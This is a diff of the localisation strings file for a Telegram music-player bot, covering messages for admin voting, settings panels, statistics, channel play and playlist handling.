+admin_31 : "ᴄʜᴀɴɢɪɴɢ sᴘᴇᴇᴅ..."
+admin_32 : "» ᴛʀʏɪɴɢ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ...\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {0}"
+admin_33 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ."
+admin_34 : "» ᴄʜᴀɴɢᴇᴅ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ {0}x\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}"
+admin_35 : "ᴛʜᴇ ᴠᴏᴛɪɴɢ ʜᴀs ᴇɴᴅᴇᴅ ʙᴇᴄᴀᴜsᴇ ᴛʜᴇ ᴛʀᴀᴄᴋ ʜᴀs ᴇɴᴅᴇᴅ ғᴏʀ ᴡʜɪᴄʜ ᴛʜᴇ ᴠᴏᴛɪɴɢ ᴡᴀs ᴘʀᴏᴠɪᴅᴇᴅ."
+admin_36 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴘᴇʀғᴏʀᴍ ᴛʜɪs ᴀᴄᴛɪᴏɴ ʙᴇᴄᴀᴜsᴇ ғᴏʀ ᴡʜɪᴄʜ ᴛʀᴀᴄᴋ ᴛʜᴇ ᴠᴏᴛɪɴɢ ᴡᴀs ᴘʀᴏᴠɪᴅᴇᴅ ɪs ᴇɪᴛʜᴇʀ ᴇɴᴅᴇᴅ ᴏʀ sᴛᴏᴘᴘᴇᴅ."
+admin_37 : "sᴜᴄᴄᴇssғᴜʟʟʏ ɢᴏᴛ {0}
ᴜᴘᴠᴏᴛᴇs."
+admin_38 : "» ᴀᴅᴅᴇᴅ 1 ᴜᴘᴠᴏᴛᴇ."
+admin_39 : "» ʀᴇᴍᴏᴠᴇᴅ 1 ᴜᴘᴠᴏᴛᴇ."
+admin_40 : "ᴜᴘᴠᴏᴛᴇᴅ."
+
+start_1 : "{0} ɪs ᴀʟɪᴠᴇ ʙᴀʙʏ.\n\n✫ ᴜᴘᴛɪᴍᴇ : {1}"
+start_2 : "нєу {0}, 🥀\n\n๏ ᴛʜɪs ɪs {1} !\n\n➻ ᴀ ʟɪɢʜᴛɴɪɴɢ-ғᴀsᴛ ᴀɴᴅ ᴘᴏᴡᴇʀғᴜʟ ᴛᴇʟᴇɢʀᴀᴍ ᴍᴜsɪᴄ ᴘʟᴀʏᴇʀ ʙᴏᴛ, ᴘᴀᴄᴋᴇᴅ ᴡɪᴛʜ sᴏᴍᴇ ғᴀɴᴛᴀsᴛɪᴄ ғᴇᴀᴛᴜʀᴇs!.\n\nSᴜᴘᴘᴏʀᴛᴇᴅ Pʟᴀᴛғᴏʀᴍs : ʏᴏᴜᴛᴜʙᴇ, sᴘᴏᴛɪғʏ, ʀᴇssᴏ, ᴀᴘᴘʟᴇ ᴍᴜsɪᴄ ᴀɴᴅ sᴏᴜɴᴅᴄʟᴏᴜᴅ.\n──────────────────\n๏ ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ʙᴜᴛᴛᴏɴ ᴛᴏ ɢᴇᴛ ɪɴғᴏʀᴍᴀᴛɪᴏɴ ᴀʙᴏᴜᴛ ᴍʏ ᴍᴏᴅᴜʟᴇs ᴀɴᴅ ᴄᴏᴍᴍᴀɴᴅs."
+start_3 : "ʜᴇʏ {0},\nᴛʜɪs ɪs {1}\n\nᴛʜᴀɴᴋs ғᴏʀ ᴀᴅᴅɪɴɢ ᴍᴇ ɪɴ {2}, {3} ᴄᴀɴ ɴᴏᴡ ᴩʟᴀʏ sᴏɴɢs ɪɴ ᴛʜɪs ᴄʜᴀᴛ."
+start_4 : "🎄 sᴜᴘᴇʀɢʀᴏᴜᴘ ɴᴇᴇᴅᴇᴅ 🎄\n\nᴘʟᴇᴀsᴇ ᴄᴏɴᴠᴇʀᴛ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ sᴜᴘᴇʀɢʀᴏᴜᴘ ᴀɴᴅ ᴛʜᴇɴ ᴀᴅᴅ ᴍᴇ ᴀɢᴀɪɴ.\n\nʜᴏᴡ ᴛᴏ ᴍᴀᴋᴇ sᴜᴘᴇʀɢʀᴏᴜᴘ ?\n- ᴍᴀᴋᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ's ᴄʜᴀᴛ ʜɪsᴛᴏʀʏ ᴠɪsɪʙʟᴇ ᴏɴᴄᴇ."
+start_5 : "↝ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ ↜\n\nᴛʜɪs ᴄʜᴀᴛ ɪs ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴏɴ {0} ᴅᴀᴛᴀʙᴀsᴇ.\nʀᴇǫᴜᴇsᴛ ᴀ sᴜᴅᴏ ᴜsᴇʀ ᴛᴏ ᴜɴʙʟᴀᴄᴋʟɪsᴛ ʏᴏᴜʀ ᴄʜᴀᴛ ᴏʀ ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ."
+start_6 : "😲 ᴛʀᴀᴄᴋ ɪɴғᴏʀᴍᴀᴛɪᴏɴ 😲\n\n📌 ᴛɪᴛʟᴇ : {0}\n\n⏳ ᴅᴜʀᴀᴛɪᴏɴ : {1} ᴍɪɴᴜᴛᴇs\n👀 ᴠɪᴇᴡs : {2}
\n⏰ ᴩᴜʙʟɪsʜᴇᴅ ᴏɴ : {3}\n📎 ᴄʜᴀɴɴᴇʟ : {5}\n\n🥀 sᴇᴀʀᴄʜ ᴩᴏᴡᴇʀᴇᴅ ʙʏ {6}"
+
+help_1 : "ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ\n\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : /
"
+help_2 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴍʏ ʜᴇʟᴘ ᴍᴇɴᴜ ɪɴ ʏᴏᴜʀ ᴘᴍ."
+
+lang_1 : "» ᴘʟᴇᴀsᴇ ᴄʜᴏᴏsᴇ ᴛʜᴇ ʟᴀɴɢᴜᴀɢᴇ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ sᴇᴛ ᴀs ᴛʜɪs ɢʀᴏᴜᴘ's ᴅᴇғᴀᴜʟᴛ ʟᴀɴɢᴜᴀɢᴇ :"
+lang_2 : "ʟᴀɴɢᴜᴀɢᴇ ᴄʜᴀɴɢᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ."
+lang_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ʟᴀɴɢᴜᴀɢᴇ."
+lang_4 : "Yᴏᴜ'ʀᴇ ᴀʟʀᴇᴀᴅʏ ᴏɴ ᴛʜᴇ sᴀᴍᴇ ʟᴀɴɢᴜᴀɢᴇ."
+
+setting_1 : "{0} sᴇᴛᴛɪɴɢs ᴘᴀɴᴇʟ\n\nᴄʜᴀᴛ ɪᴅ : {1}
\nᴄʜᴀᴛ ᴛɪᴛʟᴇ : {2}\n\nᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ғᴏʀ ᴄʜᴀɴɢɪɴɢ sᴇᴛᴛɪɴɢs."
+setting_2 : "» ᴅɪʀᴇᴄᴛ : ᴘʟᴀʏs sᴇᴀʀᴄʜ ǫᴜᴇʀɪᴇs ᴅɪʀᴇᴄᴛʟʏ.\n\n» ɪɴʟɪɴᴇ : ʀᴇᴛᴜʀɴs ɪɴʟɪɴᴇ ʙᴜᴛᴛᴏɴs ꜰᴏʀ ᴄʜᴏᴏsɪɴɢ ʙᴇᴛᴡᴇᴇɴ ᴠɪᴅᴇᴏ & ᴀᴜᴅɪᴏ."
+setting_3 : "» ᴇᴠᴇʀʏᴏɴᴇ : ᴀɴʏᴏɴᴇ ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs [sᴋɪᴘ, ᴘᴀᴜsᴇ, ʀᴇsᴜᴍᴇ ᴇᴛᴄ.] ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\n\n» ᴀᴅᴍɪɴ ᴏɴʟʏ : ᴏɴʟʏ ᴀᴅᴍɪɴs ᴀɴᴅ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs."
+setting_4 : "» ɴᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ꜰᴏᴜɴᴅ."
+setting_5 : "» ɢʀᴏᴜᴘ : ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ɢʀᴏᴜᴘ ᴡʜᴇʀᴇ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ɪs ɢɪᴠᴇɴ.\n\n» ᴄʜᴀɴɴᴇʟ : ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ ʏᴏᴜ ᴡᴀɴᴛ. sᴇᴛ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay"
+setting_6 : "» ᴇᴠᴇʀʏᴏɴᴇ : ᴀɴʏᴏɴᴇ ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ʜᴇʀᴇ.\n\n» ᴀᴅᴍɪɴ ᴏɴʟʏ: ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴘʟᴀʏ ᴛʜᴇ ᴍᴜsɪᴄ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ."
+setting_7 : "» ᴘʟᴇᴀsᴇ ᴅᴇғɪɴᴇ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay"
+setting_8 : "ᴡʜᴇɴ ᴛʜɪs ᴍᴏᴅᴇ ɪs ᴇɴᴀʙʟᴇᴅ, ᴘᴇᴏᴘʟᴇ ᴡɪᴛʜᴏᴜᴛ ᴀᴅᴍɪɴ ʀɪɢʜᴛs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ᴀғᴛᴇʀ ᴀ ᴄᴇʀᴛᴀɪɴ ᴀᴍᴏᴜɴᴛ ᴏғ ᴠᴏᴛᴇs."
+setting_9 : "ᴄᴜʀʀᴇɴᴛ ᴜᴘᴠᴏᴛᴇs ʀᴇǫᴜɪʀᴇᴅ ғᴏʀ ᴜsɪɴɢ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ᴀʀᴇ : {0}"
+setting_10 : "ᴠᴏᴛɪɴɢ ᴍᴏᴅᴇ ɪs ᴅɪsᴀʙʟᴇᴅ."
+setting_11 : "ʟᴏᴡᴇsᴛ ᴜᴘᴠᴏᴛᴇs ᴄᴏᴜɴᴛ ᴄᴀɴ ʙᴇ 2. ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴛ ʙᴇʟᴏᴡ 2"
+setting_12 : "ʜɪɢʜᴇsᴛ ᴜᴘᴠᴏᴛᴇs ᴄᴏᴜɴᴛ ᴄᴀɴ ʙᴇ 15. ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴛ ᴀʙᴏᴠᴇ 15"
+
+set_cb_1 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴛʜ ᴜsᴇʀs ᴩᴀɴᴇʟ..."
+set_cb_2 : "ɢᴇᴛᴛɪɴɢ ᴩʟᴀʏ ᴍᴏᴅᴇ ᴩᴀɴᴇʟ..."
+set_cb_3 : "sᴇᴛᴛɪɴɢ ᴜᴩ ᴄʜᴀɴɢᴇs..."
+set_cb_4 : "» ғᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
+set_cb_5 : "» ɢᴇᴛᴛɪɴɢ ʙᴀᴄᴋ..."
+
+gstats_1 : "ɢᴇᴛᴛɪɴɢ {0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ...\n\nɪᴛ ᴍᴀʏ ᴛᴀᴋᴇ ᴀ ᴡʜɪʟᴇ, ᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
+gstats_2 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʜᴇ sᴛᴀᴛs ᴏғ {0}."
+gstats_3 : "{0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ :\n\nᴀssɪsᴛᴀɴᴛs : {1}
\nʙʟᴏᴄᴋᴇᴅ : {2}
\nᴄʜᴀᴛs: {3}
\nᴜsᴇʀs : {4}
\nᴍᴏᴅᴜʟᴇs : {5}
\nsᴜᴅᴏᴇʀs : {6}
\n\nᴀᴜᴛᴏ ʟᴇᴀᴠɪɴɢ ᴀssɪsᴛᴀɴᴛ : {7}\nᴘʟᴀʏ ᴅᴜʀᴀᴛɪᴏɴ ʟɪᴍɪᴛ : {8} ᴍɪɴᴜᴛᴇs"
+gstats_4 : "ᴛʜɪs ʙᴜᴛᴛᴏɴ ɪs ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs."
+gstats_5 : "{0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ :\n\nᴍᴏᴅᴜʟᴇs : {1}
\nᴘʟᴀᴛғᴏʀᴍ : {2}
\nʀᴀᴍ : {3}
\nᴘʜʏsɪᴄᴀʟ ᴄᴏʀᴇs : {4}
\nᴛᴏᴛᴀʟ ᴄᴏʀᴇs : {5}
\nᴄᴘᴜ ғʀᴇǫᴜᴇɴᴄʏ : {6}
\n\nᴘʏᴛʜᴏɴ : {7}
\nᴘʏʀᴏɢʀᴀᴍ : {8}
\nᴘʏ-ᴛɢᴄᴀʟʟs : {9}
\n\nsᴛᴏʀᴀɢᴇ ᴀᴠᴀɪʟᴀʙʟᴇ : {10} ɢɪʙ
\nsᴛᴏʀᴀɢᴇ ᴜsᴇᴅ : {11} ɢɪʙ
\nsᴛᴏʀᴀɢᴇ ʟᴇғᴛ : {12} ɢɪʙ
\n\nsᴇʀᴠᴇᴅ ᴄʜᴀᴛs : {13}
\nsᴇʀᴠᴇᴅ ᴜsᴇʀs : {14}
\nʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs : {15}
\nsᴜᴅᴏ ᴜsᴇʀs : {16}
\n\nᴛᴏᴛᴀʟ ᴅʙ sɪᴢᴇ : {17} ᴍʙ
\nᴛᴏᴛᴀʟ ᴅʙ sᴛᴏʀᴀɢᴇ : {18} ᴍʙ
\nᴛᴏᴛᴀʟ ᴅʙ ᴄᴏʟʟᴇᴄᴛɪᴏɴs : {19}
\nᴛᴏᴛᴀʟ ᴅʙ ᴋᴇʏs : {20}
"
+
+playcb_1 : "» ᴀᴡᴡ, ᴛʜɪs ɪs ɴᴏᴛ ғᴏʀ ʏᴏᴜ ʙᴀʙʏ."
+playcb_2 : "» ɢᴇᴛᴛɪɴɢ ɴᴇxᴛ ʀᴇsᴜʟᴛ,\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..."
+
+cplay_1 : "» ʏᴏᴜ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ɪɴ ᴄʜᴀɴɴᴇʟs ғʀᴏᴍ {0} ᴛᴏ ᴀɴʏ ᴄʜᴀɴɴᴇʟ ᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ's ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ.\n\nғᴏʀ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ :\n/channelplay linked
\n\nғᴏʀ ᴀɴʏ ᴏᴛʜᴇʀ ᴄʜᴀɴɴᴇʟ :\n/channelplay [ᴄʜᴀɴɴᴇʟ ɪᴅ]
"
+cplay_2 : "» ᴛʜɪs ᴄʜᴀᴛ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴀɴʏ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ."
+cplay_3 : "» ᴄʜᴀɴɴᴇʟ ᴅᴇғɪɴᴇᴅ ᴛᴏ {0}.\nᴄʜᴀɴɴᴇʟ ɪᴅ : {1}
"
+cplay_4 : "» ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴄʜᴀɴɴᴇʟ.\n\nᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜ'ᴠᴇ ᴀᴅᴅᴇᴅ ᴛʜᴇ ʙᴏᴛ ɪɴ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴘʀᴏᴍᴏᴛᴇᴅ ᴀs ᴀᴅᴍɪɴ."
cplay_5 : "ᴏɴʟʏ ᴄʜᴀɴɴᴇʟs ᴀʀᴇ sᴜᴘᴘᴏʀᴛᴇᴅ."
-cplay_6 : "ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴛʜᴇ **ᴏᴡɴᴇʀ** ᴏꜰ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ [{0}] ᴛᴏ ᴄᴏɴɴᴇᴄᴛ ɪᴛ ᴡɪᴛʜ ᴛʜɪs ɢʀᴏᴜᴘ.\n**ᴄʜᴀɴɴᴇʟ's ᴏᴡɴᴇʀ:** @{1}\n\nᴀʟᴛᴇʀɴᴀᴛɪᴠᴇʟʏ ʏᴏᴜ ᴄᴀɴ ʟɪɴᴋ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ ᴛʜᴀᴛ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴄᴏɴɴɴᴇᴄᴛɪɴɢ ᴡɪᴛʜ `/channelplay linked`"
-
-#Play
-play_1 : "❤️🔥"
-play_2 : "🏷**ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴍᴏᴅᴇ**\n🔄 ᴘʀᴏᴄᴇssɪɴɢ ǫᴜᴇʀʏ... ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ!\n\n**ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ:** {0}"
-play_3 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ !"
-play_4 : "🖇 **ᴀᴅᴍɪɴs ᴏɴʟʏ ᴘʟᴀʏ**\nᴏɴʟʏ ᴀᴅᴍɪɴs ᴀɴᴅ ᴀᴜᴛʜ ᴜsᴇʀs ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\n\nᴄʜᴀɴɢᴇ ᴍᴏᴅᴇ ᴠɪᴀ /playmode ᴀɴᴅ ɪꜰ ʏᴏᴜ'ʀᴇ ᴀʟʀᴇᴀᴅʏ ᴀᴅᴍɪɴ, ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴᴄᴀᴄʜᴇ ᴠɪᴀ /admincache or /reload"
-play_5 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ᴀᴜᴅɪᴏ ꜰɪʟᴇ.\n\nᴀᴜᴅɪᴏ ꜰɪʟᴇ sɪᴢᴇ sʜᴏᴜʟᴅ ʙᴇ ʟᴇss ᴛʜᴀɴ 100 ᴍʙ."
-play_6 : "**ᴅᴜʀᴀᴛɪᴏɴ ʟɪᴍɪᴛ ᴇxᴄᴇᴇᴅᴇᴅ**\n\n**ᴀʟʟᴏᴡᴇᴅ ᴅᴜʀᴀᴛɪᴏɴ:** {0} ᴍɪɴᴜᴛᴇs\n**ʀᴇᴄᴇɪᴠᴇᴅ ᴅᴜʀᴀᴛɪᴏɴ:** {1} ᴍɪɴᴜᴛᴇs"
-play_7 : "sᴏʀʀʏ ! ʙᴏᴛ ᴏɴʟʏ ᴀʟʟᴏᴡs ʟɪᴍɪᴛᴇᴅ ɴᴜᴍʙᴇʀ ᴏꜰ ᴠɪᴅᴇᴏ ᴄᴀʟʟs ᴅᴜᴇ ᴛᴏ ᴄᴘᴜ ᴏᴠᴇʀʟᴏᴀᴅ ɪssᴜᴇs. ᴍᴀɴʏ ᴏᴛʜᴇʀ ᴄʜᴀᴛs ᴀʀᴇ ᴜsɪɴɢ ᴠɪᴅᴇᴏ ᴄᴀʟʟ ʀɪɢʜᴛ ɴᴏᴡ. ᴛʀʏ sᴡɪᴛᴄʜɪɴɢ ᴛᴏ ᴀᴜᴅɪᴏ ᴏʀ ᴛʀʏ ᴀɢᴀɪɴ ʟᴀᴛᴇʀ."
-play_8 : "ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ᴠɪᴅᴇᴏ ꜰɪʟᴇ ᴇxᴛᴇɴsɪᴏɴ ʙᴀʙʏ !\n\n**sᴜᴘᴘᴏʀᴛᴇᴅ ꜰᴏʀᴍᴀᴛs:** {0}"
-play_9 : "ᴠɪᴅᴇᴏ ꜰɪʟᴇ sɪᴢᴇ sʜᴏᴜʟᴅ ʙᴇ ʟᴇss ᴛʜᴀɴ 1 ɢɪʙ"
-play_10 : "**ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ꜰᴇᴀᴛᴜʀᴇ**\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴡʜᴏʟᴇ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ"
-play_11 : "📌**ᴛɪᴛʟᴇ:** {0}\n\n🕕**ᴅᴜʀᴀᴛɪᴏɴ:** {1} ᴍɪɴs"
-play_12 : "**sᴘᴏᴛɪꜰʏ ᴘʟᴀʏʟɪsᴛs**\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:- {0}"
-play_13 : "**ᴀᴘᴘʟᴇ ᴘʟᴀʏʟɪsᴛs**\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:- {0}"
-play_14 : "**ᴜɴᴀʙʟᴇ ᴛᴏ ᴠᴇʀɪꜰʏ ᴛʜᴇ ᴜʀʟ.**\nʙᴏᴛ ᴡᴏɴᴅᴇʀs ɪꜰ ᴛʜɪs ᴜʀʟ ʙᴇʟᴏɴɢs ᴛᴏ ᴀɴʏ ᴏꜰ ᴛʜᴇ ꜰᴏʟʟᴏᴡɪɴɢ ᴘʟᴀᴛꜰᴏʀᴍs: ʏᴏᴜᴛᴜʙᴇ, ᴀᴘᴘʟᴇ ᴍᴜsɪᴄ, sᴘᴏᴛɪꜰʏ, ʀᴇssᴏ ᴀɴᴅ sᴏᴜɴᴅᴄʟᴏᴜᴅ.\n\nʏᴏᴜ ᴄᴀɴ ᴜsᴇ /stream ꜰᴏʀ ᴍ3ᴜ8 ᴏʀ ʀᴇᴍᴏᴛᴇ ʟɪɴᴋs."
-play_15 : "**ʟɪᴠᴇ sᴛʀᴇᴀᴍ ᴅᴇᴛᴇᴄᴛᴇᴅ**\n\nsʏsᴛᴇᴍs ʜᴀᴠᴇ ᴅᴇᴛᴇᴄᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ ʟɪɴᴋ ᴀs ʟɪᴠᴇ sᴛʀᴇᴀᴍ. ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ʟɪᴠᴇ sᴛʀᴇᴀᴍ ?"
-play_16 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ᴛʀᴀᴄᴋ ᴅᴇᴛᴀɪʟs, ᴍᴀʏʙᴇ ᴛʜᴀᴛ ᴛʀᴀᴄᴋ ɪs ᴀɢᴇ ʀᴇsᴛʀɪᴄᴛᴇᴅ ᴏɴ ʏᴏᴜᴛᴜʙᴇ. ᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɴʏ ᴏᴛʜᴇʀ."
-play_17 : "ᴜɴᴀʙʟᴇ ᴛᴏ ᴩʟᴀʏ ᴛʜɪs ᴛʏᴩᴇ ᴏғ sᴩᴏᴛɪғʏ ǫᴜᴇʀʏ !\n\n ɪ ᴄᴀɴ ᴏɴʟʏ ᴩʟᴀʏ sᴩᴏᴛɪғʏ ᴛʀᴀᴄᴋs, ᴀʟʙᴜᴍs, ᴀʀᴛɪsᴛs ᴀɴᴅ ᴩʟᴀʏʟɪsᴛs"
-play_18 : "**ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ**\n\nᴛᴏ ᴜsᴇ ғᴏʀᴄᴇ ᴩʟᴀʏ, ᴛʜᴇʀᴇ ᴍᴜsᴛ ʙᴇ ᴀɴ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇᴄʜᴀᴛ."
-
-#Playlist
-playlist_1 : "**ᴜsᴀɢᴇ:** /play [ᴍᴜsɪᴄ ɴᴀᴍᴇ ᴏʀ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀᴜᴅɪᴏ]\n\nɪꜰ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ʙᴏᴛ's sᴇʀᴠᴇʀ ᴘʟᴀʏʟɪsᴛ ! ᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ."
-playlist_2 : "ɢᴇᴛᴛɪɴɢ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ... ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !"
-playlist_3 : "ʏᴏᴜ ʜᴀᴠᴇ ɴᴏ ᴘʟᴀʏʟɪsᴛ ᴏɴ ʙᴏᴛ's sᴇʀᴠᴇʀ."
-playlist_4 : "ꜰᴇᴛᴄʜᴇᴅ ᴘʟᴀʏʟɪsᴛ:\n\n"
-playlist_5 : "ᴅᴜʀᴀᴛɪᴏɴ- {0} ᴍɪɴs"
-playlist_6 : "ᴄᴏɴᴛᴀᴄᴛ ᴍᴇ ɪɴ ᴘᴍ ꜰᴏʀ ᴅᴇʟᴇᴛɪᴏɴ ᴏꜰ ᴘʟᴀʏʟɪsᴛs."
-playlist_7 : "ᴛʀᴀᴄᴋs ɪɴsɪᴅᴇ ᴘʟᴀʏʟɪsᴛ: {0}\n\nᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴs ᴛᴏ ᴅᴇʟᴇᴛᴇ ᴀ ᴘᴀʀᴛɪᴄᴜʟᴀʀ ᴛʀᴀᴄᴋ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ.\n\nᴛᴏ ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ: ᴘʀᴇss ᴅᴇʟ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ʙᴜᴛᴛᴏɴ."
-playlist_8 : "ᴀʟʀᴇᴀᴅʏ ᴇxɪsᴛs\n\nᴛʜɪs ᴛʀᴀᴄᴋ ᴇxɪsᴛs ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ."
-playlist_9 : "sᴏʀʀʏ ! ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ {0} ᴍᴜsɪᴄ ɪɴ ᴀ ᴘʟᴀʏʟɪsᴛ ʙᴀʙʏ."
-playlist_10 : "ᴘʟᴀʏʟɪsᴛ ᴀᴅᴅɪᴛɪᴏɴ\n\n{0}\nᴀᴅᴅᴇᴅ ᴛᴏ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ."
-playlist_11 : "sᴜᴄᴄᴇssꜰᴜʟʟʏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ."
-playlist_12 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ."
-playlist_13 : "ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛs ꜰʀᴏᴍ ᴛʜᴇ sᴇʀᴠᴇʀ. "
